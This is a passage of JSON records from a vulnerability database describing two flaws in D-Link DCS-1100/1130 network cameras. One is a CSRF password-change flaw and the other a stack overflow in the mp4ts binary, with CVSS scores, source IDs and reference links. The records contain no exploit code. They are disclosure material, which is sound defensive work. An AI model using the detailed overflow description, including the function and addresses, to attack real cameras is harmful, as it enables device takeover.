"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CVE-2017-8407",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.9,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-21076",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "VHN-116610",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2017-8407",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8407",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "Required",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8407",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8407",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-21076",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-128",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116610",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2017-8407",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"db": "VULHUB",
"id": "VHN-116610"
},
{
"db": "VULMON",
"id": "CVE-2017-8407"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014558"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-128"
},
{
"db": "NVD",
"id": "CVE-2017-8407"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of changing the administrative password for the web management interface. It seems that the device does not implement any cross-site request forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface to change the user\u0027s password. D-Link DCS-1130 The device contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. A security vulnerability exists in D-LinkDCS-1130 that caused the program to fail to perform arbitrary cross-site request forgery protection mechanisms. An attacker could use this vulnerability to entice a user to modify a user\u0027s password",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8407"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014558"
},
{
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"db": "VULHUB",
"id": "VHN-116610"
},
{
"db": "VULMON",
"id": "CVE-2017-8407"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8407",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014558",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-128",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-21076",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116610",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8407",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"db": "VULHUB",
"id": "VHN-116610"
},
{
"db": "VULMON",
"id": "CVE-2017-8407"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014558"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-128"
},
{
"db": "NVD",
"id": "CVE-2017-8407"
}
]
},
"id": "VAR-201907-1067",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"db": "VULHUB",
"id": "VHN-116610"
}
],
"trust": 1.3122449
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21076"
}
]
},
"last_update_date": "2024-11-23T21:37:04.727000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8407"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014558"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-352",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116610"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014558"
},
{
"db": "NVD",
"id": "CVE-2017-8407"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.2,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 3.0,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.4,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/352.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"db": "VULHUB",
"id": "VHN-116610"
},
{
"db": "VULMON",
"id": "CVE-2017-8407"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014558"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-128"
},
{
"db": "NVD",
"id": "CVE-2017-8407"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"db": "VULHUB",
"id": "VHN-116610"
},
{
"db": "VULMON",
"id": "CVE-2017-8407"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014558"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-128"
},
{
"db": "NVD",
"id": "CVE-2017-8407"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116610"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8407"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014558"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-128"
},
{
"date": "2019-07-02T19:15:10.493000",
"db": "NVD",
"id": "CVE-2017-8407"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"date": "2019-07-09T00:00:00",
"db": "VULHUB",
"id": "VHN-116610"
},
{
"date": "2021-04-23T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8407"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014558"
},
{
"date": "2021-04-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-128"
},
{
"date": "2024-11-21T03:33:58.520000",
"db": "NVD",
"id": "CVE-2017-8407"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-128"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1130 Cross-Site Request Forgery Vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-128"
}
],
"trust": 1.2
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "cross-site request forgery",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-128"
}
],
"trust": 0.6
}
}
var-201907-1072
Vulnerability from variot
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom binary called mp4ts under the /var/www/video folder. It seems that this binary dumps the HTTP VERB in the system logs. As a part of doing that it retrieves the HTTP VERB sent by the user and uses a vulnerable sprintf function at address 0x0000C3D4 in the function sub_C210 to copy the value into a string and then into a log file. Since there is no bounds check being performed on the environment variable at address 0x0000C360 this results in a stack overflow and overwrites the PC register allowing an attacker to execute buffer overflow or even a command injection attack. D-Link DCS-1100 and DCS-1130 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Both D-Link DCS-1100 and D-Link DCS-1130 are a network camera produced by D-Link Company in Taiwan, China. An attacker could exploit this vulnerability to execute arbitrary commands on the device
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1072",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
},
{
"db": "NVD",
"id": "CVE-2017-8412"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1110_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8412",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 5.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 6.5,
"id": "CVE-2017-8412",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.9,
"vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 5.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 6.5,
"id": "VHN-116615",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:A/AC:L/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "ADJACENT",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2017-8412",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Adjacent Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8412",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8412",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8412",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-120",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116615",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2017-8412",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116615"
},
{
"db": "VULMON",
"id": "CVE-2017-8412"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-120"
},
{
"db": "NVD",
"id": "CVE-2017-8412"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom binary called mp4ts under the /var/www/video folder. It seems that this binary dumps the HTTP VERB in the system logs. As a part of doing that it retrieves the HTTP VERB sent by the user and uses a vulnerable sprintf function at address 0x0000C3D4 in the function sub_C210 to copy the value into a string and then into a log file. Since there is no bounds check being performed on the environment variable at address 0x0000C360 this results in a stack overflow and overwrites the PC register allowing an attacker to execute buffer overflow or even a command injection attack. D-Link DCS-1100 and DCS-1130 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Both D-Link DCS-1100 and D-Link DCS-1130 are a network camera produced by D-Link Company in Taiwan, China. An attacker could exploit this vulnerability to execute arbitrary commands on the device",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8412"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
},
{
"db": "VULHUB",
"id": "VHN-116615"
},
{
"db": "VULMON",
"id": "CVE-2017-8412"
}
],
"trust": 1.8
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8412",
"trust": 2.7
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 1.9
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014563",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-120",
"trust": 0.7
},
{
"db": "VULHUB",
"id": "VHN-116615",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8412",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116615"
},
{
"db": "VULMON",
"id": "CVE-2017-8412"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-120"
},
{
"db": "NVD",
"id": "CVE-2017-8412"
}
]
},
"id": "VAR-201907-1072",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-116615"
}
],
"trust": 0.70915275
},
"last_update_date": "2024-11-23T21:37:04.916000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8412"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116615"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
},
{
"db": "NVD",
"id": "CVE-2017-8412"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 2.4,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/119.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116615"
},
{
"db": "VULMON",
"id": "CVE-2017-8412"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-120"
},
{
"db": "NVD",
"id": "CVE-2017-8412"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-116615"
},
{
"db": "VULMON",
"id": "CVE-2017-8412"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-120"
},
{
"db": "NVD",
"id": "CVE-2017-8412"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116615"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8412"
},
{
"date": "2019-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014563"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-120"
},
{
"date": "2019-07-02T21:15:10.103000",
"db": "NVD",
"id": "CVE-2017-8412"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-10T00:00:00",
"db": "VULHUB",
"id": "VHN-116615"
},
{
"date": "2021-04-26T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8412"
},
{
"date": "2019-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014563"
},
{
"date": "2021-04-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-120"
},
{
"date": "2024-11-21T03:33:59.320000",
"db": "NVD",
"id": "CVE-2017-8412"
}
]
},
"threat_type": {
"@context": {
